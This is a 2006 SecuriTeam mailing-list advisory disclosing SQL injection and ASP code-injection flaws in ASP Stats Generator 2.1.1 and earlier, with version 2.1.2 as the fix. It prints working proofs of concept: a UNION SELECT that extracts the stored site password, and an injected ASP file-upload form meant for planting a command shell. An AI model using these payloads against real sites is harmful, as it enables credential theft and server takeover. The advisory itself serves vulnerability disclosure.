From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 2 Jul 2006 16:09:46 +0200
Subject: [NT] ASP Stats Generator Multiple Vulnerabilities (SQL Injection, Code Execution)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060702140936.8DF595805@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
ASP Stats Generator Multiple Vulnerabilities (SQL Injection, Code
Execution)
------------------------------------------------------------------------
SUMMARY
" <http://www.weppos.com/asg/en/default.asp>; ASP Stats Generator is a
powerful website counter, completely written in ASP programming language."
Improper filtering of user input allows attackers to execute arbitrary
code and SQL queries.
DETAILS
Vulnerable Systems:
* ASP Stats Generator 2.1.1 and prior
Immune Systems:
* ASP Stats Generator version 2.1.2
SQL Injection:
The following URL can be used to trigger an SQL injection vulnerability in
the pages.asp:
http://localhost/myasg/pages.asp?order='&mese=1
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression
'SUM(Visits) ''.
/myasg/pages.asp, line 236
Proof of Concept:
http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from
tblst_config&mese=1
ASP Code Injection:
Input passed to the strAsgSknPageBgColour (and ...) in "settings_skin.asp"
isn't properly sanitized before being stored in the "inc_skin_file.asp".
This can be exploited to inject arbitrary ASP code.
<B>Proof of Concept:</B>
#F9F9F9" : dim path,hstr, mpath, content, filename:
mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content
= request("content"): filename = request("filename"): on error resume
next: Dim objFSO,f: Set objFSO = Server.CreateObject
("Scripting.FileSystemObject"): if not filename = "" then: response.Write(
"Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path =
filename: end if: if not content="" then: response.Write( "Contented.<BR>"
): set f = objFSO.CreateTextFile( path ): response.Write( err.Description
& "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>"
): f.close: end if %><%=filename%><BR><%=path%><BR><%= Request("path")
%><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1"
ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload
File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content"
rows="15" cols="46" ><%=content%></TEXTAREA></TD></TR><TR><TD><P
align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text"
name="filename" value="<%=filename%>" ></P><P align="center"><INPUT
type="submit" value="Upload" ID="Submit1"
NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error
goto 0: hstr = "
[m.r.roohian]
attacker can upload "cmd.asp" with this uploader and ...
ADDITIONAL INFORMATION
The information has been provided by <mailto:het_ebadi@yahoo.com.> Hamid
Ebadi.
The original article can be found at:
<http://www.hamid.ir/security/aspstats.txt>;
http://www.hamid.ir/security/aspstats.txt
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
